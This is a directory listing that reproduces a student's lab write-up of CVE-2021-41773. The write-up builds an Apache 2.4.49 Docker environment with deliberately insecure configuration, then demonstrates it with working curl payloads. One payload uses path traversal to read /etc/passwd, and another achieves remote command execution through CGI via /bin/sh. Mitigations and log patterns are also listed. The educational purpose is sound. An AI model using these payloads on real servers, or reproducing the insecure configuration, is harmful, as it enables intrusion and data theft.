Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Apache-CVE-2021-41773 — WHS 4기 이희수. kr-vulhub 과제 제출물 | Kitploit
工具/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4기 이희수. kr-vulhub 과제 제출물

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-41773 Apache HTTP Server 路径遍历

贡献者

이희수(@lheeeesoo)


Apache HTTP Server 2.4.49 存在一个漏洞,在URL路径规范化过程中未能正确阻止编码的父路径。

攻击者可以使用 .%2e 等值绕过Web服务器公开设置的目录,访问目录之外的路径。在允许访问外部目录的环境中,服务器内部文件可能被泄露;如果启用了CGI功能,则可能执行系统shell,从而导致远程命令执行。

本项目中,我们使用Docker直接搭建Apache HTTP Server 2.4.49环境,并复现了以下两种情况:

  • 利用路径遍历泄露 /etc/passwd 文件
  • 利用CGI实现远程命令执行

项目结构

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

环境配置

使用以下命令构建Docker镜像并运行容器

root@kitploit:~
docker compose up -d --build

请使用以下命令查看容器运行状态

root@kitploit:~
docker ps

从运行结果中可以看到容器处于 Up 状态,且主机的8080端口已连接到容器的80端口。


验证正常Web服务

在浏览器中访问以下地址:

root@kitploit:~
http://localhost:8080

如果正常显示Apache网页,则证明环境配置完成。


检查Apache版本

使用以下命令查看容器内部的Apache版本

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

执行结果:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

确认正在运行受CVE-2021-41773影响的Apache HTTP Server 2.4.49。


漏洞条件

本实验环境应用了以下条件:

  • 使用Apache HTTP Server 2.4.49
  • 使用Alias和ScriptAlias路径
  • 允许访问Web根目录之外的目录
  • 启用CGI功能
  • Apache进程以 daemon 账户运行

Apache配置中允许访问文件系统根目录,如下所示:

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

此外,为执行CGI使用了以下配置:

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

路径遍历

以下请求使用编码的父路径访问容器内部的 /etc/passwd 文件。

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

.%2e 在URL解码后被处理为 ..。

因此,攻击者可以基于Alias路径多次向上级目录跳转,然后访问 /etc/passwd 文件。

执行结果:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwd 文件中存储了用户名、UID、GID、家目录及登录Shell等系统账户信息。

虽然实际不包含密码,但原本外部Web用户无法访问的服务器内部文件仅通过HTTP请求即被泄露,这证实了信息泄露漏洞的存在。

在实际生产环境中,可能通过相同方式泄露以下敏感信息:

  • 应用程序配置文件
  • 数据库连接信息
  • API密钥及认证信息
  • 源代码
  • 日志文件
  • 证书及私钥

通过CGI执行命令

以下请求利用路径遍历访问 /bin/sh 并执行 whoami 命令。

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

执行结果:

root@kitploit:~
daemon

由于 /cgi-bin/ 路径通过 ScriptAlias 设置,Apache不会简单地读取该路径下的文件,而是将其作为CGI程序执行。

通过路径遍历访问 /bin/sh 后,将请求体中包含的命令传递给它,即可在Apache运行账户的权限下执行命令。

在本环境中,Apache以以下账户运行:

root@kitploit:~
User daemon
Group daemon

因此命令执行结果也以 daemon 账户输出。

虽然不是root权限,但仍可能产生以下额外威胁:

  • 篡改Web应用程序文件
  • 窃取配置文件及认证信息
  • 下载并执行恶意文件
  • 探测内部网络
  • 利用其他漏洞进行权限提升

运行PoC脚本

无需逐个执行命令,可以使用PoC脚本一次性验证正常服务、路径遍历和远程命令执行。

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

脚本将按以下顺序验证:

root@kitploit:~
[1] 验证正常服务
[2] 通过路径遍历访问 /etc/passwd
[3] 通过CGI执行 id 命令


应对措施

更新Apache版本

不应使用Apache HTTP Server 2.4.49,应更新至已应用安全补丁的最新版本。

禁止访问根目录

在生产环境中,应默认禁止访问文件系统根目录。

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

仅单独允许必要的Web目录。

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

禁用不必要的CGI

如果不需要CGI功能,则禁用以下功能:

  • mod_cgi
  • ScriptAlias
  • ExecCGI

应用最小权限

Apache进程应以非root的受限服务账户运行,并最小化该账户可以访问的文件和目录。

日志监控

应检测并阻止包含以下异常路径的请求:

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

停止环境

root@kitploit:~
docker compose down

结论

本实验使用Dockerfile构建Apache HTTP Server 2.4.49,并通过Docker Compose搭建了可复现的漏洞环境。

通过路径遍历请求,验证了本不应被正常Web用户访问的容器内部 /etc/passwd 文件被泄露。

此外,在启用CGI的环境中,可以访问 /bin/sh 并以Apache运行账户 daemon 的权限执行系统命令。

由此可知,CVE-2021-41773不仅导致简单的路径泄露,还可能根据环境配置导致远程命令执行。


参考资料

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
下载工具